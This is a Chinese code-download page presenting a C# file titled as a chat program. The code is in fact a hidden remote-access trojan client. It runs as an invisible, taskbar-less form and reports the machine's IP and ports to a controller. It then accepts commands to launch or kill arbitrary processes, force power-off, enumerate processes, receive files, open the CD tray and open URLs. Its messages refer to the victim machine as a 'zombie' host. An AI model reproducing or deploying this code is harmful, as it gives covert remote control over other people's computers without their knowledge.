⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 form1.cs

📁 c#写的聊天程序
💻 CS
字号:
using System;
using System.Runtime.InteropServices;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;


using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
using System.Text;
using System.IO;

namespace MySendClient
{
	/// <summary>
	/// Form1 的摘要说明。
	/// </summary>
	public class Form1 : System.Windows.Forms.Form
	{
		/// <summary>
		/// 必需的设计器变量。
		/// </summary>
		private System.ComponentModel.Container components = null;

		Socket socketS,socketC,socketR,socketSf,socketRf;
		string IP;
		string[] str;
		string ReturnText;
		int portC;
		int portFile;
		string ClientFilePath;  //目标文件的地址



		public Form1()
		{
			//
			// Windows 窗体设计器支持所必需的
			//
			InitializeComponent();

			//
			// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
			//
		}

		/// <summary>
		/// 清理所有正在使用的资源。
		/// </summary>
		protected override void Dispose( bool disposing )
		{
			if( disposing )
			{
				if (components != null) 
				{
					components.Dispose();
				}
			}
			base.Dispose( disposing );
		}

		#region Windows 窗体设计器生成的代码
		/// <summary>
		/// 设计器支持所需的方法 - 不要使用代码编辑器修改
		/// 此方法的内容。
		/// </summary>
		private void InitializeComponent()
		{
			// 
			// Form1
			// 
			this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
			this.ClientSize = new System.Drawing.Size(292, 273);
			this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
			this.Name = "Form1";
			this.Opacity = 0;
			this.ShowInTaskbar = false;
			this.Text = "Form1";
			this.Load += new System.EventHandler(this.Form1_Load);

		}
		#endregion

		/// <summary>
		/// 应用程序的主入口点。
		/// </summary>
		[STAThread]
		static void Main() 
		{
			Application.Run(new Form1());
		}

		#region 关机权限

		[StructLayout(LayoutKind.Sequential, Pack=1)] 
			internal struct TokPriv1Luid 
		{ 
			public int Count; 
			public long Luid; 
			public int Attr; 
		} 
   
		[DllImport("kernel32.dll", ExactSpelling=true) ] 
		internal static extern IntPtr GetCurrentProcess(); 
   
		[DllImport("advapi32.dll", ExactSpelling=true, SetLastError=true) ] 
		internal static extern bool OpenProcessToken( IntPtr h, int acc, ref IntPtr phtok ); 
   
		[DllImport("advapi32.dll", SetLastError=true) ] 
		internal static extern bool LookupPrivilegeValue( string host, string name, ref long pluid ); 
   
		[DllImport("advapi32.dll", ExactSpelling=true, SetLastError=true) ] 
		internal static extern bool AdjustTokenPrivileges( IntPtr htok, bool disall, 
			ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen ); 
   
		[DllImport("user32.dll", ExactSpelling=true, SetLastError=true) ] 
		internal static extern bool ExitWindowsEx( int flg, int rea ); 
   
		internal const int SE_PRIVILEGE_ENABLED = 0x00000002; 
		internal const int TOKEN_QUERY = 0x00000008; 
		internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; 
		internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; 
		internal const int EWX_LOGOFF = 0x00000000; 
		internal const int EWX_SHUTDOWN = 0x00000001; 
		internal const int EWX_REBOOT = 0x00000002; 
		internal const int EWX_FORCE = 0x00000004; 
		internal const int EWX_POWEROFF = 0x00000008; 
		internal const int EWX_FORCEIFHUNG = 0x00000010; 

        #endregion

   
		private static void DoExitWin(int flg) 
		{ 
			bool ok; 
			TokPriv1Luid tp; 
			IntPtr hproc = GetCurrentProcess(); 
			IntPtr htok = IntPtr.Zero; 
			ok = OpenProcessToken( hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok ); 
			tp.Count = 1; 
			tp.Luid = 0; 
			tp.Attr = SE_PRIVILEGE_ENABLED; 
			ok = LookupPrivilegeValue( null, SE_SHUTDOWN_NAME, ref tp.Luid ); 
			ok = AdjustTokenPrivileges( htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero ); 
			ok = ExitWindowsEx( flg, 0 ); 
		} 

		private void Form1_Load(object sender, System.EventArgs e)
		{
			Begin();
			BindProcess();
//			FileProcess(); //绑定接收文件的端口
		}

		#region Begin()
		void Begin()
		{			
			Random rm=new Random();
			portC=rm.Next(5000,65535);
			portFile=rm.Next(5000,65535);

			string ipC=Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString();
			//远程服务器IP及端口
			IPAddress ipS=IPAddress.Parse("127.0.0.1");
			int Port=7485;
			try
			{
				//把本机的IP及端口号发给远程的服务器
				ReturnText=ipC+"&"+portC+"&"+portFile;
			}
			catch
			{					
				//跳出Catch结构继续下面的代码
				return ;
			}
			//封装服务器的IP,端口
			IPEndPoint endPoint=new IPEndPoint(ipS,Port);
			//创建客户端Socket
			socketC=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
			//连接服务器端
			socketC.Connect(endPoint);
			//把聊天内容转换为数据流发送给服务器端
			byte[] data=Encoding.UTF8.GetBytes(ReturnText);
			socketC.Send(data,0,data.Length,SocketFlags.None);

		}
		#endregion

		Thread td1;
		#region BindProcess()
		void BindProcess()
		{			
			IP=Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString();				
			//获得IP地址对象
			IPAddress ipAdd=IPAddress.Parse(IP);
			//封装IP地址端
			IPEndPoint endPoint=new IPEndPoint(ipAdd,portC);
			//创建服务器端Socket
			socketS=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
			//绑定端口
			socketS.Bind(endPoint);

			td1=new Thread(new ThreadStart(Start));
			td1.Start();
		}
		#endregion

		Process[] ps;
		string cmd;
		string command;
	    #region Start()
		void Start()
		{
			while(true)
			{
				//打开端口监听
				socketS.Listen(10);
				//接受远程连接
				socketR=socketS.Accept();
				//创建缓存数组
				byte[] data=new byte[1024];
				//接收数据
				socketR.Receive(data,0,data.Length,SocketFlags.None);
				//将数据转换为字符
				string text=Encoding.UTF8.GetString(data);

				//消息模式:127.0.0.1-kill-cmd-7485
				//ClientFilePath-FilePath
                str=text.Trim().Split('-');
				cmd=str[1];
				command=str[2];
//				string FilePath=str[0];

				if(cmd.Trim().IndexOf("insert")>=0)
				{
					try
					{
						new Thread(new ThreadStart(OpenProcess)).Start();
					}
					catch
					{
						ReturnText="回应:"+"未能打开"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"肉鸡的"+command+"进程! 请检查命令是否正确!";
						Send();
					}

				}
				else if(cmd.Trim().IndexOf("kill")>=0)
				{
					try
					{
						if(command=="svchost")
						{
							//DoExitWin(EWX_SHUTDOWN);  //internal const int EWX_SHUTDOWN = 0x00000001;关机。但不能关掉正在运行程序的主机; 
							DoExitWin(EWX_POWEROFF);
						}
						else
						{
							new Thread(new ThreadStart(CloseProcess)).Start();
						}
					}
					catch
					{
						ReturnText="回应:"+"未能找到"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"肉鸡的"+command+"进程!";
						Send();
					}
				}
				else if(cmd.Trim().IndexOf("GetProcess")>=0)
				{
					try
					{
						ps=Process.GetProcesses();
						foreach(Process j in ps)
						{
							ReturnText=j.ProcessName; //获得肉鸡当前的进程数
							Send();
						}						
					}
					catch
					{
						ReturnText="回应:"+"未能获取"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"肉鸡的进程!";
						Send();
					}
					finally
					{
						ReturnText="当前进程数:"+ps.Length.ToString();					
						Send();
					}
				}	
				else if(cmd.Trim().IndexOf("FilePath")>=0)
				{
					//格式:ClientFilePath—FilePath
					try
					{
						ClientFilePath=command;
						td1.Join(); //关掉接收消息的线程,这样才能接受文件
						td2.Resume();
						FileProcess();						
					}
					catch
					{
						ReturnText="回应:"+"传送失败!";
						Send();
					}
				} 
				else if(cmd.Trim().IndexOf("Open")>=0)
				{
					if(command.Trim().IndexOf("CDROM")>=0)
					{
						try
						{
							long lngReturn = ApiCalls.mciSendString("set CDAudio door open", "", 127, 0);
							ReturnText="回应:光驱打开成功!";
							Send();
						}
						catch
						{
							ReturnText="回应:光驱打开失败!";
							Send();
						}
					}
					else
					{
						if(command.Trim().IndexOf("IE:")>=0)
						{
							long lngReturn= ApiCalls.ShellExecute(Form.ActiveForm.Handle,"Open",command.Trim('I').Trim('E').Trim(':').ToString(),"","",1);
							ReturnText="回应:指定网址打开成功!";
							Send();
						}
						else
						{
							ReturnText="回应:指定网址打开失败!!";
							Send();
						}
					}
				}
			}
		}
	#endregion	
	
		#region Command()
		void OpenProcess()
		{
			Process process1=new Process();
			process1.StartInfo.FileName=command; //打开进程
			process1.Start();

			ReturnText="回应:"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"肉鸡的"+command+"进程已开启!";
			Send();
		}
		void CloseProcess()
		{
			Process[] ps=Process.GetProcessesByName(command); //关闭所选的进程
			foreach(Process a in ps)
			{
				a.Kill();
			}
			ReturnText="回应:"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"肉鸡的"+command+"进程已关闭!";
			Send();
		}
		#endregion

		Thread td2;
		#region FileProcess()
		void FileProcess()
		{	
			IP=Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString();				
			//获得IP地址对象
			IPAddress ipAdd=IPAddress.Parse(IP);
			//封装IP地址端
			IPEndPoint endPoint=new IPEndPoint(ipAdd,portFile);
			//创建服务器端Socket
			socketSf=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
			//绑定端口
			socketSf.Bind(endPoint);	

			td2=new Thread(new ThreadStart(StreamFile));
			td2.Start();


		}
		#endregion  
   
        #region StreamFile
		void StreamFile()
		{		
			//打开端口监听
			socketSf.Listen(10);
			//接受远程连接
			socketRf=socketSf.Accept();
			//创建缓存数组

//			FileStream fsSource =new FileStream(textBox1.Text,FileMode.Open,FileAccess.Read);
//			FileStream fsDes =new FileStream(textBox2.Text,FileMode.OpenOrCreate,FileAccess.Write);
			Stream outputStream = File.OpenWrite(@"F:\");
			BufferedStream buffOut = new BufferedStream(outputStream);

			byte[] data=new byte[1024];
			//接收数据
			socketRf.Receive(data,0,data.Length,SocketFlags.None);

			int bytesRead;
			while ((bytesRead=socketR.Receive(data,0,data.Length,SocketFlags.None))> 0 )
			{
				buffOut.Write(data,0,bytesRead);
			}
			buffOut.Flush();
			buffOut.Close();

			td1.Resume();
			td2.Join();
		}		
		#endregion

		#region Send()
		void Send()
		{
			//远程服务器IP及端口
			IPAddress ip;
			int Port;
			try
			{
				ip=IPAddress.Parse(str[0]);
				Port=int.Parse(str[3]);
			}
			catch
			{			
				ReturnText="回应:"+Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString()+"所接收到的服务器IP地址或端口号不正确";
				//跳出Catch结构继续下面的代码
				return ;
			}
			//封装服务器的IP,端口
			IPEndPoint endPoint=new IPEndPoint(ip,Port);
			//创建客户端Socket
			socketC=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
			//连接服务器端
			socketC.Connect(endPoint);
			//把聊天内容转换为数据流发送给服务器端
			byte[] data=Encoding.UTF8.GetBytes(ReturnText);
			socketC.Send(data,0,data.Length,SocketFlags.None);

		}

		#endregion

		
	}
	
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -